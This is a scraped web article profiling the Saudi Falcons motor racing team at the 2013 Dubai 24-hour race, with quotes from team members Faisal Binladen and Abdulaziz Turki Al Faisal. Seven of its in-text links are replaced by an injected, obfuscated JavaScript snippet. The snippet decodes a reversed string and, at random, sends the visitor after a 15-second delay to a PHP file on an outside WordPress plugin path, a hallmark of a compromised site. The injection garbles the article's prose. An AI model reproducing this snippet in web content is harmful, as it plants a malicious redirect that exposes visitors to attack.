We profile the people that make up Saudi Arabia’s biggest motor racing team – the Saudi Falcons. We caught up with the outfit at the 2013 Dubai 24hrs, now in its eighth edition at the Dubai Autodrome, UAE.
During the recent $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=dubai+24hrs”>24 Hours of Dubai endurance race, I spent a lot of our time hanging out in the Saudi Falcons pit. This was in part because I was doing a story on one of the team’s drivers, Abdulaziz Turki Al Faisal, but it was also because they’re a thoroughly nice bunch of chaps. A bunch of nice chaps in with a great chance of winning one of the Middle East‘s biggest motorsport events.
But exactly what does it take for a modern-day team – and one from the Middle East – to break into top-level motorsport? To find out, we spoke to some of the key players within the Saudi Falcons to find out what they do.
Faisal Binladen
“Today I’m the driver of the #12 car and if the #24 car does well I might be able to drive it as well. But I run the team too, with my brother and my father. We come up with the vision of what to do and see how to execute it.
“It started with my racing in the Porsche cup. I got the bite from that and have raced ever since. This is now the fourth year of the Falcons, so we’re still a very young team. The idea was to build a platform. Racing is very expensive and people assume that it’s only for the elite. But if you look at the drivers at the top, then talent is what defines the elite in motorsport. Money and connection definitely helps though, so the idea was to build this platform to build these talents. Abdulaziz was a key person in this because he’s done it. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/abdulaziz-turki-alfaisal-le-mans-you-can-never-predict/” target=”_blank”>He reached Le Mans, everyone knows who he is and he’s achieved a lot. The idea was to build something together.
“Now we’re role models, hopefully, and we want other people to see what we’re doing, support us and get bitten by the motorsport bug. We don’t just do this race, we do $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche-gt3/” target=”_blank”>Porsches, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/radicals/” target=”_blank”>Radicals, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-saudi-falcons-f2000-where-have-i-seen-that-before/” target=”_blank”>Formula 2000 and bikes, so it’s a bigger thing than just this. The plan is to build a full Saudi team, a winning team, that everyone is proud of. We want to be here for the next 50 years.”
Abdulaziz Turki Al Faisal
“I race with the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/saudi-falcons-porsche-gt3-cup-middle-east-dubai-video/” target=”_blank”>Saudi Falcons. I did three years of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/porsche-gt3-round-3-race-2-to-the-wire/” target=”_blank”>Porsche Middle East Championship and I won two out of three. Last year Faisal convinced me to join the team. The set up and everything they have meant that it was a beneficial venture for both of us. They wanted someone to raise the level of the team and I think we did that. With their expertise in management and their facilities and support we managed to put things together to have a successful relationship. There’s also a patriotic pride in representing Saudi Arabia in particular and the Arab world in general.”
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